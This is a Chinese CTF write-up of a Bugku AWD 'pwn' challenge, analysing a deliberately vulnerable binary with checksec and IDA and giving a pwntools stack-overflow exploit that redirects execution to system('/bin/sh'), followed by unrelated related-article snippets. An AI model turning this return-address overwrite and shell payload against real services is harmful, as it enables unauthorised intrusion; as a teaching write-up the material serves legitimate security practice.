【awd系列】Bugku S3 AWD排位赛-9 pwn类型
文章目录
- 二进制下载
- 检查分析
- 运行二进制
- ida分析
- 解题思路
- exp
二进制下载
下载地址:传送门
检查分析
[root@ningan 3rd]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
[root@ningan 3rd]#
[root@ningan 3rd]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/awd/3rd/pwn'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
可以看到,安全防护还是比较弱的
运行二进制
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ] [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Input: 123456[ Address ] [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Bye!
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ] [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Input: aaaaaaaa[ Address ] [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x000000000000000a |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Bye!
ida分析
分析main函数,发现有提示:call win函数

int __cdecl main(int argc, const char **argv, const char **envp)
{setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);printf("Your goal is to call `win` function (located at %p)\n", win);vuln();puts("Bye!");return 0;
}
可以看到,读取了一些内容存到了buf变量里,然后就调用了return函数,可以用这个栈溢出漏洞来进行利用

__int64 vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREF_show_stack(buf);printf("Input: ");read(0, buf, 0x200uLL);return _show_stack(buf);
}
查看win函数,看到有system(“/bin/sh”)的指令,可以直接利用

void __noreturn win()
{_QWORD v0[2]; // [rsp+0h] [rbp-10h] BYREFv0[1] = v0;if ( ((unsigned __int8)v0 & 0xF) != 0 ){puts("Oops! RSP is misaligned!");puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later.");puts("This instruction fails when RSP is not a multiple of 0x10.");puts("Find a way to align RSP! You're almost there!");sleep(1u);}else{puts("Congratulations!");system("/bin/sh");}exit(0);
}
找到system(“/bin/sh”);的地址为:0x00000000004008C4

.text:00000000004008C4 48 8D 3D C4 03 00 00 lea rdi, command ; "/bin/sh"
.text:00000000004008CB E8 A0 FD FF FF call _system
解题思路
找到填充的间隔为32

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ] [ Stack ]+--------------------+
0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf+--------------------+
0x00007ffce7496298 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a0 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a8 | 0x00007f258aa44170 |+--------------------+
0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln)+--------------------+
0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main)+--------------------+
0x00007ffce74962d0 | 0x0000000000000001 |+--------------------+
0x00007ffce74962d8 | 0x00007ffce74963a8 |+--------------------+Input: ^C
[root@ningan 3rd]#
[root@ningan 3rd]# python
Python 3.6.9 (default, Mar 10 2023, 16:46:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffce74962b0 - 0x00007ffce7496290
32
上面已经找到system(“/bin/sh”);的地址为:0x00000000004008C4
exp
from pwn import *io = process("./pwn")
# io = remote("xxxx", 9999) context.arch = "amd64"
# context.log_level = "debug"padding = b'A' * 32 + b'BBBBBBBB'
return_addr = 0x00000000004008C4
payload = padding + p64(return_addr)io.recvuntil('Input: ')
io.sendline(payload)
io.interactive()相关文章:
【awd系列】Bugku S3 AWD排位赛-9 pwn类型
文章目录 二进制下载检查分析运行二进制ida分析解题思路exp 二进制下载 下载地址:传送门 检查分析 [rootningan 3rd]# file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for …...
vcomp140.dll丢失的修复方法分享,电脑提示vcomp140.dll丢失修复方法
今天,我的电脑出现了一个奇怪的问题,打开某些程序时总是提示“找不到vcomp140.dll文件”。这个问题让我非常头疼,因为我无法正常使用电脑上的一些重要软件。为了解决这个问题,我在网上查找了很多资料,并尝试了多种方法…...
Docker file解析
文章目录 简介构建的三步骤Docker执行Dockerfile的大致流程DockerFile常用保留字指令创建第一个Dockerfile镜像的缓存特性 Docker file 解析 简介 Dockerfile是用来构建Docker镜像的文本文件,是由一条条构建镜像所需的指令和参数构成的脚本,记录了镜像构…...
工作与身体健康之间的平衡
大厂裁员,称35岁以后体能下滑,无法继续高效率地完成工作;体重上涨,因为35岁以后新陈代谢开始变慢;甚至坐久了会腰疼、睡眠困扰开始加重,在众多的归因中,仿佛35岁的到来,会为一切的焦…...
算法和数据结构
STL 【C】蓝桥杯必备 算法竞赛常用STL万字总结_蓝桥杯算法竞赛_Cpt1024的博客-CSDN博客 day1 1:正确 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台 // 中序遍历一遍二叉树,并统计节点数目 class Solution { public:int c…...
商城-学习整理-集群-K8S-集群环境部署(二十四)
目录 一、MySQL集群1、mysql集群原理2、Docker安装模拟MySQL主从复制集群1、下载mysql镜像2、创建Master实例并启动3、创建 Slave 实例并启动4、为 master 授权用户来同步数据1、进入 master 容器2、进入 mysql 内部 (mysql –uroot -p)3、查看 master 状…...
利用多种机器学习方法对爬取到的谷歌趋势某个关键词的每日搜索次数进行学习
大家好,我是带我去滑雪! 前一期利用python爬取了谷歌趋势某个关键词的每日搜索次数,本期利用爬取的数据进行多种机器学习方法进行学习,其中方法包括:随机森林、XGBOOST、决策树、支持向量机、神经网络、K邻近等方法&am…...
ARL资产侦察灯塔 指纹增强
项目:https://github.com/loecho-sec/ARL-Finger-ADD 下载项目后运行 python3 ARl-Finger-ADD.py https://你的vpsIP:5003/ admin password该项目中的finger.json可以自己找到其他的指纹完善,然后运行脚本添加指纹。...
javaee spring 自动注入,如果满足条件的类有多个如何区别
如图IDrinkDao有两个实现类 方法一 方法二 Resource(name“对象名”) Resource(name"oracleDrinkDao") private IDrinkDao drinkDao;...
sql语句中的ddl和dml
操作数据库:CRUD C(create) 创建 *数据库创建出来默认字符集为utf8 如果要更改字符集就 Create database 名称 character set gbk(字符集) *创建数据库:create database 名称 *先检查是否有该数据库在…...
学习JAVA打卡第四十一天
字符串与字符数组、字节数组 ⑴字符串与字符数组 String类的构造方法String(char a[])和String(char a[]),int offset,int length,分别用数组a中的全部字符和部分字符创建string对象。 String类也提供将string对象的字符序列存…...
leetcode SQL题目
文章目录 组合两个表第二高的薪水第N高的薪水分数排名连续出现的数字超过经理收入的员工查找重复的电子邮件从不订购的客户部门工资最高的员工部门工资前三高的所有员工删除重复的电子邮箱上升的温度游戏玩法分析Ⅰ游戏玩法Ⅳ 组合两个表 SELECT firstName,lastName,city,stat…...
计算机组成原理学习笔记-精简复习版
一、计算机系统概述 计算机系统硬件软件 计算机硬件的发展: 第一代计算机:(使用电子管)第二代计算机:(使用晶体管)第三代计算机:(使用较小规模的集成电路)第四代计算机:(使用较大规模的集成电路) 冯诺依曼体系结构…...
聊一聊微前端框架的选型和实现 | 业务平台
一、项目背景 目前,我们开发维护的项目主要有 6 个,但是分别对应 PC 和 H5 两个端: 如上图所示,我们 6个项目最开始是一个一个进行开发维护的,但是到后期,这几个项目之间有的部分会有业务逻辑不同ÿ…...
Elasticsearch 集成---框架集成SpringData-集成测试-索引操作
1.Spring Data 框架介绍 Spring Data 是一个用于简化数据库、非关系型数据库、索引库访问,并支持云服务的 开源框架。其主要目标是使得对数据的访问变得方便快捷,并支持 map-reduce 框架和云计 算数据服务。 Spring Data 可以极大的简化 JPA &a…...
将Series序列中的缺失值用后一个值填充Series.bfill()
【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 对于Series序列中的缺失值n1 用n1后面的值n2来填充替代 Series.bfill() [太阳]选择题 关于以下代码的说法中错误的是? import numpy as np import pandas as pd a pd.Series([1,np.nan,2,np.…...
用香港服务器域名需要备案吗?
在选择服务器的时候,很多人会考虑使用香港服务器。香港服务器的一个优势就是不需要备案。不管是虚拟主机还是云主机,无论是个人网站还是商业网站,都不需要进行备案手续。 域名实名认证 虽然不需要备案,但使用香港服务器搭建…...
【项目经理】项目管理杂谈
杂谈 1. 走上管理岗位,别再自己埋头干了2. 如何更好地管理项目进度3. 管理是“管事”而不是“管人”4. 让领导欣赏的十个沟通技巧在这里插入图片描述 1. 走上管理岗位,别再自己埋头干了 2. 如何更好地管理项目进度 3. 管理是“管事”而不是“管人” 4. 让…...
【算法总结篇】 笔面试常见题目
综述: 💞目的:本系列是个人整理为了秋招算法的,整理期间苛求每个知识点,平衡理解简易度与深入程度。 🥰来源:材料主要源于网上知识点进行的,每个代码参考热门大佬博客和leetcode平台…...
Java基础 数据结构一【栈、队列】
什么是数据结构 数据结构是计算机科学中的一个重要概念,用于组织和存储数据以便有效地进行访问、操作和管理。它涉及了如何在计算机内存中组织数据,以便于在不同操作中进行查找、插入、删除等操作 数据结构可以看作是一种数据的组织方式,不…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...
基于距离变化能量开销动态调整的WSN低功耗拓扑控制开销算法matlab仿真
目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.算法仿真参数 5.算法理论概述 6.参考文献 7.完整程序 1.程序功能描述 通过动态调整节点通信的能量开销,平衡网络负载,延长WSN生命周期。具体通过建立基于距离的能量消耗模型&am…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...
Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例
使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件,常用于在两个集合之间进行数据转移,如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model:绑定右侧列表的值&…...
React Native在HarmonyOS 5.0阅读类应用开发中的实践
一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强,React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 (1)使用React Native…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
使用van-uploader 的UI组件,结合vue2如何实现图片上传组件的封装
以下是基于 vant-ui(适配 Vue2 版本 )实现截图中照片上传预览、删除功能,并封装成可复用组件的完整代码,包含样式和逻辑实现,可直接在 Vue2 项目中使用: 1. 封装的图片上传组件 ImageUploader.vue <te…...
高危文件识别的常用算法:原理、应用与企业场景
高危文件识别的常用算法:原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件,如包含恶意代码、敏感数据或欺诈内容的文档,在企业协同办公环境中(如Teams、Google Workspace)尤为重要。结合大模型技术&…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一)
宇树机器人多姿态起立控制强化学习框架论文解析 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(一) 论文解读:交大&港大&上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化…...
